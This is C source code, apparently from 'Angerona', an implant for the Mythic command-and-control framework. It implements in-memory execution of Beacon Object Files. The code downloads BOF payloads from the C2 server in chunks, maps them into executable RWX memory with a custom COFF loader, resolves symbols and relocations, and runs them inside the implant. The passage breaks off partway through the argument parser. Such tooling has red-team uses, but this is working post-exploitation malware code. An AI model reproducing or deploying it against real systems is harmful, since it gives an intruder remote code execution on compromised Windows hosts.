#include "angerona.h"
#include "inline_execute.h"
#include "comandos.h"
#include "paquete.h"
#include "SistemadeFicheros.h"
#include "utils.h"
#include <string.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>

/*
 * Beacon Compatibility Layer - Simple output buffering for BOFs
 * These functions are called by BOFs and capture their output
 */
static char* beacon_output_buffer = NULL;
static int beacon_output_size = 0;
static int beacon_output_offset = 0;

// Structure for BOF execution in separate thread
typedef struct _BOF_THREAD_ARGS {
    char* bofBuffer;
    DWORD bofSize;
    char* args;
    unsigned long argsSize;
    volatile BOOL completed;
    volatile BOOL success;
} BOF_THREAD_ARGS, *PBOF_THREAD_ARGS;

// Thread function to execute BOF
static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) {
    PBOF_THREAD_ARGS threadArgs = (PBOF_THREAD_ARGS)lpParam;
    if (!threadArgs) {
        _err("[BOFExecutionThread] threadArgs es NULL");
        return 1;
    }
    
    threadArgs->completed = FALSE;
    threadArgs->success = FALSE;
    
    // Execute BOF
    DWORD fileSize = threadArgs->bofSize;
    BOOL result = RunCOFF(threadArgs->bofBuffer, &fileSize, "go", threadArgs->args, threadArgs->argsSize);
    
    threadArgs->success = result;
    threadArgs->completed = TRUE;
    
    return result ? 0 : 1;
}

// BeaconPrintf - Capture formatted output from BOFs
void BeaconPrintf(int type, char* fmt, ...) {
    va_list args;
    int length = 0;
    char* tempptr = NULL;
    
    va_start(args, fmt);
    length = vsnprintf(NULL, 0, fmt, args);
    va_end(args);
    
    if (length <= 0) return;
    
    tempptr = (char*)realloc(beacon_output_buffer, beacon_output_size + length + 1);
    if (tempptr == NULL) {
        _err("[BeaconPrintf] Error reasignando memoria");
        return;
    }
    beacon_output_buffer = tempptr;
    memset(beacon_output_buffer + beacon_output_offset, 0, length + 1);
    
    va_start(args, fmt);
    length = vsnprintf(beacon_output_buffer + beacon_output_offset, length + 1, fmt, args);
    beacon_output_size += length;
    beacon_output_offset += length;
    va_end(args);
}

// BeaconOutput - Capture raw output from BOFs
void BeaconOutput(int type, char* data, int len) {
    char* tempptr = NULL;
    if (!data || len <= 0) return;
    
    tempptr = (char*)realloc(beacon_output_buffer, beacon_output_size + len + 1);
    if (tempptr == NULL) {
        _err("[BeaconOutput] Error reasignando memoria");
        return;
    }
    beacon_output_buffer = tempptr;
    memset(beacon_output_buffer + beacon_output_offset, 0, len + 1);
    memcpy(beacon_output_buffer + beacon_output_offset, data, len);
    beacon_output_size += len;
    beacon_output_offset += len;
}

// BeaconGetOutputData - Get captured output (caller must free)
char* BeaconGetOutputData(int* outsize) {
    char* outdata = beacon_output_buffer;
    *outsize = beacon_output_size;
    beacon_output_buffer = NULL;
    beacon_output_size = 0;
    beacon_output_offset = 0;
    return outdata;
}

// BeaconDataParse - Parse data structure for BOFs
typedef struct {
    char* original;
    char* buffer;
    int length;
    int size;
} datap;

void BeaconDataParse(datap* parser, char* buffer, int size) {
    if (parser == NULL) return;
    parser->original = buffer;
    parser->buffer = buffer;
    parser->length = size - 4;
    parser->size = size - 4;
    parser->buffer += 4;
}

int BeaconDataInt(datap* parser) {
    int32_t fourbyteint = 0;
    if (parser->length < 4) return 0;
    memcpy(&fourbyteint, parser->buffer, 4);
    parser->buffer += 4;
    parser->length -= 4;
    return (int)fourbyteint;
}

short BeaconDataShort(datap* parser) {
    int16_t retvalue = 0;
    if (parser->length < 2) return 0;
    memcpy(&retvalue, parser->buffer, 2);
    parser->buffer += 2;
    parser->length -= 2;
    return (short)retvalue;
}

int BeaconDataLength(datap* parser) {
    return parser->length;
}

char* BeaconDataExtract(datap* parser, int* size) {
    UINT32 length = 0;
    char* outdata = NULL;
    if (parser->length < 4) return NULL;
    memcpy(&length, parser->buffer, 4);
    parser->buffer += 4;
    outdata = parser->buffer;
    if (outdata == NULL) return NULL;
    parser->length -= 4;
    parser->length -= length;
    parser->buffer += length;
    if (size != NULL && outdata != NULL) {
        *size = length;
    }
    return outdata;
}

// Token functions (using Windows APIs directly)
BOOL BeaconUseToken(HANDLE token) {
    return SetThreadToken(NULL, token);
}

void BeaconRevertToken(void) {
    RevertToSelf();
}

BOOL BeaconIsAdmin(void) {
    // Basic implementation - can be enhanced
    return FALSE;
}

/*
 * GetFileBytesFromMythic - Fetch a file from Mythic server using file_id
 * Adapted from Angerona's upload mechanism
 */
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
#define CHUNK_SIZE 512000  // 512 KB
    
    
    DWORD status = 0;
    PBYTE dataBuffer = NULL;
    SIZE_T bytesAvailable = 0;
    SIZE_T totalBytesRead = 0;
    UINT32 currentChunk = 1;
    UINT32 totalChunks = 0;
    
    // Initialize BOF structure
    memset(bof, 0, sizeof(BOF_UPLOAD));
    strncpy(bof->fileUuid, fileId, 36);
    bof->fileUuid[36] = '\0';
    bof->currentChunk = 1;
    
    dataBuffer = (PBYTE)LocalAlloc(LPTR, CHUNK_SIZE);
    if (!dataBuffer) {
        _err("[inline_execute] Error alocar memoria para buffer");
        return GetLastError();
    }
    bytesAvailable = CHUNK_SIZE;
    
    do {
        // Create upload request
        PPaquete requestPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(requestPaquete, taskUuid, FALSE);
        
        // Add empty output (required for upload request format, same as upload command)
        addInt32(requestPaquete, 0);
        
        // Add upload request marker and data
        addUploadRequest(requestPaquete, fileId, CHUNK_SIZE, currentChunk, "temp_bof");
        
        // Send request and get response
        PAnalizador respuesta = mandarPaquete(requestPaquete);
        liberarPaquete(requestPaquete);
        
        if (!respuesta) {
            _err("[inline_execute] No se recibió respuesta para chunk %u", currentChunk);
            status = 1;
            goto cleanup;
        }
        
        // Debug: log response size
        _dbg("[inline_execute] Respuesta recibida para chunk %u: %zu bytes", currentChunk, respuesta->tamano);
        
        // Extract upload response (same format as upload command)
        // Look for 0xF9 marker
        PBYTE buffer = respuesta->buffer;
        SIZE_T len = respuesta->tamano;
        BOOL found = FALSE;
        
        // Debug: log first few bytes to see what we're getting
        if (len > 0) {
            _dbg("[inline_execute] Primeros bytes de respuesta: 0x%02X 0x%02X 0x%02X 0x%02X", 
                 len > 0 ? buffer[0] : 0,
                 len > 1 ? buffer[1] : 0,
                 len > 2 ? buffer[2] : 0,
                 len > 3 ? buffer[3] : 0);
        }
        
        for (SIZE_T i = 0; i < len - 13; i++) {
            if (buffer[i] == 0xF9) {
                i++;
                // Extract total_chunks
                if (i + 4 > len) break;
                totalChunks = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
                i += 4;
                
                // Extract chunk_num
                if (i + 4 > len) break;
                UINT32 chunkNum = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
                i += 4;
                
                // Extract chunk_data length
                if (i + 4 > len) break;
                UINT32 chunkDataLen = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
                i += 4;
                
                if (chunkDataLen == 0 || chunkDataLen > 1024 * 1024 || i + chunkDataLen > len) {
                    break;
                }
                
                // Decode base64 chunk data
                PCHAR chunkDataB64 = (PCHAR)LocalAlloc(LPTR, chunkDataLen + 1);
                if (!chunkDataB64) {
                    liberarAnalizador(respuesta);
                    status = GetLastError();
                    goto cleanup;
                }
                memcpy(chunkDataB64, buffer + i, chunkDataLen);
                chunkDataB64[chunkDataLen] = '\0';
                
                // Decode base64
                PBYTE decodedData = NULL;
                SIZE_T decodedLen = 0;
                if (!base64_decode(chunkDataB64, &decodedData, &decodedLen)) {
                    _err("[inline_execute] Error decodificando base64 para chunk %u", currentChunk);
                    LocalFree(chunkDataB64);
                    liberarAnalizador(respuesta);
                    status = 1;
                    goto cleanup;
                }
                
                // Reallocate buffer if needed
                if (totalBytesRead + decodedLen > bytesAvailable) {
                    bytesAvailable = totalBytesRead + decodedLen;
                    dataBuffer = (PBYTE)LocalReAlloc(dataBuffer, bytesAvailable, LMEM_MOVEABLE | LMEM_ZEROINIT);
                    if (!dataBuffer) {
                        _err("[inline_execute] Error reasignando memoria");
                        LocalFree(chunkDataB64);
                        LocalFree(decodedData);
                        liberarAnalizador(respuesta);
                        status = GetLastError();
                        goto cleanup;
                    }
                }
                
                // Copy chunk to buffer
                memcpy(dataBuffer + totalBytesRead, decodedData, decodedLen);
                totalBytesRead += decodedLen;
                
                LocalFree(chunkDataB64);
                LocalFree(decodedData);
                found = TRUE;
                break;
            }
        }
        
        if (!found) {
            _err("[inline_execute] No se encontró respuesta de upload para chunk %u", currentChunk);
            liberarAnalizador(respuesta);
            status = 1;
            goto cleanup;
        }
        
        liberarAnalizador(respuesta);
        currentChunk++;
        
    } while (currentChunk <= totalChunks);
    
    bof->buffer = dataBuffer;
    bof->size = totalBytesRead;
    bof->totalChunks = totalChunks;
    
    return 0;
    
cleanup:
    if (dataBuffer) {
        LocalFree(dataBuffer);
    }
    return status;
}

/*
 * InternalFunctionMatch - Check if symbol is an internal Beacon function
 */
static BOOL InternalFunctionMatch(char* StrippedSymbolName) {
    if (STR_EQUALS(StrippedSymbolName, "Beacon")  ||
        STR_EQUALS(StrippedSymbolName, "GetProcAddress") ||
        STR_EQUALS(StrippedSymbolName, "GetModuleHandleA") ||
        STR_EQUALS(StrippedSymbolName, "toWideChar") ||
        STR_EQUALS(StrippedSymbolName, "LoadLibraryA") ||
        STR_EQUALS(StrippedSymbolName, "FreeLibrary") ||
        STR_EQUALS(StrippedSymbolName, "BeaconDataParse") ||
        STR_EQUALS(StrippedSymbolName, "BeaconDataExtract") ||
        STR_EQUALS(StrippedSymbolName, "BeaconDataInt") ||
        STR_EQUALS(StrippedSymbolName, "BeaconDataShort") ||
        STR_EQUALS(StrippedSymbolName, "BeaconDataLength") ||
        STR_EQUALS(StrippedSymbolName, "BeaconPrintf") ||
        STR_EQUALS(StrippedSymbolName, "BeaconOutput") ||
        STR_EQUALS(StrippedSymbolName, "BeaconUseToken") ||
        STR_EQUALS(StrippedSymbolName, "BeaconRevertToken") ||
        STR_EQUALS(StrippedSymbolName, "BeaconIsAdmin"))
    {
        return TRUE;
    }
    return FALSE;
}

/*
 * ProcessBeaconSymbols - Resolve Beacon API symbols
 */
static void* ProcessBeaconSymbols(char* SymbolName, BOOL* InternalFunction) {
    void* functionaddress = NULL;
    char localSymbolNameCopy[1024] = { 0 };
    *InternalFunction = FALSE;
    char* locallib = NULL;
    char* localfunc = NULL;
    HMODULE llHandle = NULL;
    char* context = NULL;
    
    if (!SymbolName) {
        _err("[ProcessBeaconSymbols] SymbolName es NULL");
        return NULL;
    }
    
    // Check if symbol starts with PREPENDSYMBOLVALUE
    SIZE_T prependLen = strlen(PREPENDSYMBOLVALUE);
    if (strncmp(SymbolName, PREPENDSYMBOLVALUE, prependLen) != 0) {
        // Try to resolve anyway (might be a direct symbol name)
        localfunc = SymbolName;
    } else {
        localfunc = SymbolName + prependLen;
    }
    
    strncpy_s(localSymbolNameCopy, sizeof(localSymbolNameCopy), SymbolName, sizeof(localSymbolNameCopy) - 1);
    
    // Hash-based function resolution for internal functions
    // For now, we'll use direct function resolution
    if (InternalFunctionMatch(localfunc)) {
        *InternalFunction = TRUE;
        UINT32 hash = custom_hash(localfunc);
        
        // Map common Beacon functions by hash
        UINT32 funcHash = hash;
        if (funcHash == custom_hash("BeaconDataParse")) {
            return (void*)BeaconDataParse;
        } else if (funcHash == custom_hash("BeaconDataExtract")) {
            return (void*)BeaconDataExtract;
        } else if (funcHash == custom_hash("BeaconDataInt")) {
            return (void*)BeaconDataInt;
        } else if (funcHash == custom_hash("BeaconDataShort")) {
            return (void*)BeaconDataShort;
        } else if (funcHash == custom_hash("BeaconDataLength")) {
            return (void*)BeaconDataLength;
        } else if (funcHash == custom_hash("BeaconPrintf")) {
            return (void*)BeaconPrintf;
        } else if (funcHash == custom_hash("BeaconOutput")) {
            return (void*)BeaconOutput;
        } else if (funcHash == custom_hash("GetProcAddress")) {
            return (void*)GetProcAddress;
        } else if (funcHash == custom_hash("GetModuleHandleA")) {
            return (void*)GetModuleHandleA;
        } else if (funcHash == custom_hash("LoadLibraryA")) {
            return (void*)LoadLibraryA;
        } else if (funcHash == custom_hash("FreeLibrary")) {
            return (void*)FreeLibrary;
        } else if (funcHash == custom_hash("BeaconUseToken")) {
            return (void*)BeaconUseToken;
        } else if (funcHash == custom_hash("BeaconRevertToken")) {
            return (void*)BeaconRevertToken;
        } else if (funcHash == custom_hash("BeaconIsAdmin")) {
            return (void*)BeaconIsAdmin;
        } else {
            _wrn("[ProcessBeaconSymbols] Símbolo interno no mapeado: '%s' (hash=0x%08x)", localfunc, funcHash);
        }
    } else {
        // External symbol - parse library$function format
        // Make a working copy for strtok_s (it modifies the string)
        char workingCopy[1024] = { 0 };
        SIZE_T copyLen = strlen(localfunc);
        if (copyLen >= sizeof(workingCopy)) {
            _err("[ProcessBeaconSymbols] Símbolo demasiado largo: %zu bytes", copyLen);
            return NULL;
        }
        strncpy_s(workingCopy, sizeof(workingCopy), localfunc, copyLen);
        
        // Parse library$function format
        char* context1 = NULL;
        locallib = strtok_s(workingCopy, "$", &context1);
        if (locallib) {
            llHandle = LoadLibraryA(locallib);
            if (!llHandle) {
                DWORD error = GetLastError();
                _err("[ProcessBeaconSymbols] Error cargando librería '%s': %lu", locallib, error);
                return NULL;
            }
            
            char* funcToken = strtok_s(NULL, "$", &context1);
            if (funcToken) {
                // Remove ordinal suffix if present (function@ordinal)
                char* context2 = NULL;
                char* funcName = strtok_s(funcToken, "@", &context2);
                if (funcName) {
                    functionaddress = GetProcAddress(llHandle, funcName);
                    if (!functionaddress) {
                        DWORD error = GetLastError();
                        _err("[ProcessBeaconSymbols] Error resolviendo función '%s' en '%s': %lu", funcName, locallib, error);
                    }
                } else {
                    // No @ found, use the whole token as function name
                    functionaddress = GetProcAddress(llHandle, funcToken);
                    if (!functionaddress) {
                        DWORD error = GetLastError();
                        _err("[ProcessBeaconSymbols] Error resolviendo función '%s' en '%s': %lu", funcToken, locallib, error);
            }
        }
            } else {
                _err("[ProcessBeaconSymbols] No se encontró función en formato library$function para '%s'", localfunc);
            }
        } else {
            _wrn("[ProcessBeaconSymbols] No se pudo parsear formato library$function de '%s' (formato esperado: library$function)", localfunc);
        }
    }
    
    if (!functionaddress) {
        _wrn("[ProcessBeaconSymbols] No se pudo resolver símbolo '%s'", SymbolName);
    }
    
    return functionaddress;
}

/*
 * ExecuteEntry - Execute the BOF entry point
 */
static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long argSize) {
    VOID(*foo)(char* in, UINT32 datalen) = NULL;
    
    if (!func || !COFF->FileBase) {
        _err("[inline_execute] No entry point provided");
        return FALSE;
    }
    
    for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) {
        if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) {
            foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value);
            break;
        }
    }
    
    if (!foo) {
        _err("[inline_execute] No se pudo encontrar entry point '%s'", func);
        return FALSE;
    }
    
    // Execute the BOF
    foo((char*)args, (UINT32)argSize);
    return TRUE;
}

/*
 * RelocationTypeParse - Parse and apply COFF relocations
 */
static void RelocationTypeParse(COFF_t* COFF, void** SectionMapped, int SectionNumber, BOOL* InternalFunction, void* FunctionAddrPTR, char* FunctionMapping) {
    UINT32 offsetAddr = 0;
    UINT64 longOffsetAddr = 0;
    unsigned int Type = COFF->Relocation->Type;
    
    if (Type == IMAGE_REL_AMD64_ADDR64) {
        memcpy(&longOffsetAddr, (char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, sizeof(UINT64));
        longOffsetAddr = (UINT64)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] + (UINT64)longOffsetAddr);
        longOffsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value;
        memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &longOffsetAddr, sizeof(UINT64));
    }
    else if (COFF->Relocation->Type == IMAGE_REL_AMD64_ADDR32NB) {
        memcpy(&offsetAddr, (char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, sizeof(INT32));
        offsetAddr = ((char*)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] + offsetAddr) - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4));
        offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value;
        memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32));
    }
    else if (Type == IMAGE_REL_AMD64_REL32) {
        if (FunctionAddrPTR != NULL) {
            memcpy(FunctionMapping + (COFF->FunctionMappingCount * 8), &FunctionAddrPTR, sizeof(UINT64));
            offsetAddr = (INT32)((FunctionMapping + (COFF->FunctionMappingCount * 8)) - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4));
            offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value;
            memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32));
            *InternalFunction = FALSE;
            COFF->FunctionMappingCount++;
        }
        else {
            memcpy(&offsetAddr, (void*)((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress), sizeof(UINT32));
            offsetAddr += (UINT32)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4));
            offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value;
            memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32));
        }
    }
}

/*
 * RunCOFF - Load and execute a COFF file
 * Adapted from Xenon's COFF loader
 */
BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdata, unsigned long argumentsize) {
    COFF_t COFF;
    COFF.FileBase = FileData;
    COFF.FileHeader = (FileHeader_t*)COFF.FileBase;
    COFF.SymbolTable = (Symbol_t*)(COFF.FileBase + COFF.FileHeader->PointerToSymbolTable);
    COFF.FunctionMappingCount = 0;
    COFF.RelocationsCount = 0;
    
    char* functionMapping = NULL;
    void** sectionMapped = (void**)calloc(sizeof(char*) * (COFF.FileHeader->NumberOfSections + 1), 1);
    
    if ((int)COFF.FileHeader->Machine != IMAGE_FILE_MACHINE_AMD64) {
        _err("[inline_execute] COFF no soportado: Machine=0x%04X (solo AMD64 soportado)", COFF.FileHeader->Machine);
        free(sectionMapped);
        return FALSE;
    }
    
    // Allocate and map sections
    for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
        Section_t* section = (Section_t*)(COFF.FileBase + sizeof(FileHeader_t) + (i * sizeof(Section_t)));
        
        sectionMapped[i] = (char*)VirtualAlloc(NULL, section->SizeOfRawData, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
        
        if (section->PointerToRawData != 0) {
            memcpy(sectionMapped[i], COFF.FileBase + section->PointerToRawData, section->SizeOfRawData);
        }
        else {
            memset(sectionMapped[i], 0, section->SizeOfRawData);
        }
        
        if (!strcmp(section->Name, ".text")) {
            COFF.RawTextData = sectionMapped[i];
        }
        
        COFF.RelocationsCount += section->NumberOfRelocations;
    }
    
    // Allocate function mapping
    functionMapping = (char*)VirtualAlloc(NULL, COFF.RelocationsCount * 8, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
    
    // Process relocations
    for (int s = 0; s < COFF.FileHeader->NumberOfSections; s++) {
        Section_t* section = (Section_t*)(COFF.FileBase + sizeof(FileHeader_t) + (s * sizeof(Section_t)));
        COFF.RelocationsTextPTR = COFF.FileBase + section->PointerToRelocations;
        
        for (int i = 0; i < section->NumberOfRelocations; i++) {
            UINT32 symbolOffset = 0;
            void* funcptrlocation = NULL;
            COFF.Relocation = (Relocation_t*)(COFF.RelocationsTextPTR + (i * sizeof(Relocation_t)));
            
            symbolOffset = COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].first.value[1];
            
            if (COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].first.Name[0] != 0) {
                BOOL internalFunc = FALSE;
                RelocationTypeParse(&COFF, sectionMapped, s, &internalFunc, NULL, NULL);
            }
            else {
                BOOL internalFunctionCheck = FALSE;
                char* symbolName = ((char*)(COFF.SymbolTable + COFF.FileHeader->NumberOfSymbols)) + symbolOffset;
                funcptrlocation = ProcessBeaconSymbols(symbolName, &internalFunctionCheck);
                if (funcptrlocation == NULL && COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber == 0) {
                    _wrn("[RunCOFF] No se pudo resolver símbolo '%s' (SectionNumber=%d)", 
                         symbolName, COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber);
                    // Continue anyway - some symbols might be optional or resolved later
                }
                
                RelocationTypeParse(&COFF, sectionMapped, s, &internalFunctionCheck, funcptrlocation, functionMapping);
            }
        }
    }
    
    // Execute the BOF
    if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) {
        _err("[RunCOFF] Error ejecutando entry point '%s'", EntryName);
        // Cleanup
        for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
            if (sectionMapped[i] != NULL) {
                VirtualFree(sectionMapped[i], 0, MEM_RELEASE);
            }
        }
        free(sectionMapped);
        if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
        return FALSE;
    }
    
    // Cleanup
    for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
        if (sectionMapped[i] != NULL) {
            VirtualFree(sectionMapped[i], 0, MEM_RELEASE);
        }
    }
    free(sectionMapped);
    if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
    
    return TRUE;
}

/*
 * HexStringToBytes - Convert hexadecimal string to bytes
 * Returns allocated buffer with decoded bytes
 */
static BOOL HexStringToBytes(PCHAR hexStr, SIZE_T hexLen, PBYTE* outBytes, SIZE_T* outLen) {
    if (!hexStr || hexLen == 0 || hexLen % 2 != 0) {
        return FALSE;
    }
    
    SIZE_T byteLen = hexLen / 2;
    *outBytes = (PBYTE)LocalAlloc(LPTR, byteLen);
    if (!*outBytes) {
        return FALSE;
    }
    
    for (SIZE_T i = 0; i < byteLen; i++) {
        char hexByte[3] = {hexStr[i*2], hexStr[i*2+1], '\0'};
        (*outBytes)[i] = (BYTE)strtoul(hexByte, NULL, 16);
    }
    
    *outLen = byteLen;
    return TRUE;
}

/*
 * ParseBOFArguments - Parse BOF arguments from JSON string and pack them in binary format
 * Format expected by BOFs (BeaconDataParse compatible):
 * - int16: 2 bytes (little-endian)
 * - int32: 4 bytes (little-endian)
 * - string: 4 bytes (length) + string data (null-terminated)
 * - wchar: 4 bytes (length) + wide string data (null-terminated, 2 bytes per char)
 * - base64: 4 bytes (length) + decoded base64 data
 * - bytes: 4 bytes (length) + raw bytes (from hex string)
 * 
 * JSON format: [["type", "value"], ["type", value], ...]
 */
static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuffer, SIZE_T* outSize) {
    // Simple JSON parser for BOF arguments format: [["type", "value"], ...]
    // This is a minimal parser that handles the specific format we use
    
    if (!argsJson || argsJsonLen == 0) {
        *outBuffer = NULL;
        *outSize = 0;
        return TRUE; // No arguments is valid
    }
    
    // Check for empty array []
    PCHAR p = argsJson;
    PCHAR end = argsJson + argsJsonLen;
    while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r')) p++;
    if (p < end && *p == '[') {
        p++;
        while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r')) p++;
        if (p < end && *p == ']') {
            // Empty array
            *outBuffer = NULL;
            *outSize = 0;
            return TRUE;
        }
    }
    
    // Allocate buffer (estimate: JSON is usually larger than binary, so start with same size)
    SIZE_T bufferSize = argsJsonLen * 2; // Overestimate to be safe
    PBYTE buffer = (PBYTE)LocalAlloc(LPTR, bufferSize);
    if (!buffer) {
        return FALSE;
    }
    
    SIZE_T offset = 0;
    p = argsJson;
    
    // Skip whitespace and opening bracket
    while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r' || *p == '[')) p++;
    
    // Parse arguments
    while (p < end && *p != ']') {
        // Skip whitespace and comma
        while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r' || *p == ',' || *p == '[')) p++;
        if (p >= end || *p == ']') break;
        
        // Parse type: "type"
        if (*p != '"') {
            LocalFree(buffer);
            return FALSE;
        }
        p++; // Skip opening quote
        PCHAR typeStart = p;
        while (p < end && *p != '"') p++;
        if (p >= end) {
            LocalFree(buffer);
            return FALSE;
        }
        SIZE_T typeLen = p - typeStart;
        p++; // Skip closing quote
        
        // Skip comma/whitespace
        while (p < end && (*p == ' ' || *p == '\t' || *p == ',')) p++;
        
        // Parse value
        PCHAR valueStart = NULL;
        SIZE_T valueLen = 0;
        BOOL isString = FALSE;
        
        if (*p == '"') {
            // String value
            isString = TRUE;
            p++; // Skip opening quote
            valueStart = p;
            while (p < end && *p != '"') p++;
            if (p >= end) {
                LocalFree(buffer);
                return FALSE;
            }
            valueLen = p - valueStart;
            p++; // Skip closing quote
        } else if (*p == '-' || (*p >= '0' && *p <= '9')) {
            // Numeric value
            valueStart = p;
            while (p < end && ((*p >= '0' && *p <= '9') || *p == '-' || *p == '.')) p++;
            valueLen = p - valueStart;
        } else if ((p + 4 <= end && strncmp(p, "true", 4) == 0) || 
                   (p + 5 <= end && strncmp(p, "false", 5) == 0)) {
            // Boolean value (true/false without quotes)
            valueStart = p;
            if (strncmp(p, "true", 4) == 0) {
                valueLen = 4;
                p += 4;
            } else {
                valueLen = 5;
                p += 5;
            }
        } else {
            // Unexpected format
            LocalFree(buffer);
            return FALSE;
        }
        
        // Skip closing bracket and whitespace
        while (p < end && (*p == ' ' || *p == '\t' || *p == ']' || *p == ',' || *p == ']')) {
            if (*p == ']') break;
            p++;
        }
        
        // Pack argument based on type
        // Check if we need to reallocate buffer
        SIZE_T needed = offset + 1024; // Estimate for worst case
        if (needed > bufferSize) {
            bufferSize = needed * 2;
            PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, bufferSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
            if (!newBuffer) {
                LocalFree(buffer);
                return FALSE;
            }
            buffer = newBuffer;
        }
        
        // Create temporary null-terminated strings for comparison
        char typeBuf[32] = {0};
        if (typeLen < sizeof(typeBuf) - 1) {
            memcpy(typeBuf, typeStart, typeLen);
            typeBuf[typeLen] = '\0';
        }
        
        if (strcmp(typeBuf, "int16") == 0) {
            INT16 val = (INT16)atoi(valueStart);
            if (offset + 2 > bufferSize) {
                LocalFree(buffer);
                return FALSE;
            }
            memcpy(buffer + offset, &val, 2);
            offset += 2;
        } else if (strcmp(typeBuf, "int32") == 0) {
            INT32 val = 0;
            // Handle boolean values (true/false) and numeric values
            // First check for unquoted boolean literals
            if (valueLen >= 4 && (strncmp(valueStart, "true", 4) == 0 || strncmp(valueStart, "True", 4) == 0)) {
                val = 1;
            } else if (valueLen >= 5 && (strncmp(valueStart, "false", 5) == 0 || strncmp(valueStart, "False", 5) == 0)) {
                val = 0;
            } else {
                val = (INT32)atoi(valueStart);
            }
            if (offset + 4 > bufferSize) {
                LocalFree(buffer);
                return FALSE;
            }
            memcpy(buffer + offset, &val, 4);
            offset += 4;
        } else if (strcmp(typeBuf, "string") == 0) {
            if (offset + 4 + valueLen + 1 > bufferSize) {
                LocalFree(buffer);
                return FALSE;
            }
            UINT32 len = (UINT32)(valueLen + 1); // Include null terminator
            memcpy(buffer + offset, &len, 4);
            offset += 4;
            memcpy(buffer + offset, valueStart, valueLen);
            offset += valueLen;
            buffer[offset++] = '\0';
        } else if (strcmp(typeBuf, "wchar") == 0) {
            // Convert to wide string (UTF-16)
            SIZE_T wcharLen = (valueLen + 1) * 2; // Each char becomes 2 bytes
            if (offset + 4 + wcharLen > bufferSize) {
                LocalFree(buffer);
                return FALSE;
            }
            UINT32 len = (UINT32)wcharLen;
            memcpy(buffer + offset, &len, 4);
            offset += 4;
            // Convert to wide chars
            for (SIZE_T i = 0; i < valueLen; i++) {
                WCHAR wc = (WCHAR)valueStart[i];
                memcpy(buffer + offset, &wc, 2);
                offset += 2;
            }
            WCHAR nullTerm = 0;
            memcpy(buffer + offset, &nullTerm, 2);
            offset += 2;
        } else if (strcmp(typeBuf, "base64") == 0) {
            // Decode base64
            char* b64Str = (char*)LocalAlloc(LPTR, valueLen + 1);
            if (!b64Str) {
                LocalFree(buffer);
                return FALSE;
            }
            memcpy(b64Str, valueStart, valueLen);
            b64Str[valueLen] = '\0';
            
            PBYTE decoded = NULL;
            SIZE_T decodedLen = 0;
            if (!base64_decode(b64Str, &decoded, &decodedLen)) {
                LocalFree(b64Str);
                LocalFree(buffer);
                return FALSE;
            }
            
            if (offset + 4 + decodedLen > bufferSize) {
                SIZE_T newSize = bufferSize * 2;
                while (newSize < offset + 4 + decodedLen) newSize *= 2;
                PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, newSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
                if (!newBuffer) {
                    LocalFree(b64Str);
                    LocalFree(decoded);
                    LocalFree(buffer);
                    return FALSE;
                }
                buffer = newBuffer;
                bufferSize = newSize;
            }
            
            UINT32 len = (UINT32)decodedLen;
            memcpy(buffer + offset, &len, 4);
            offset += 4;
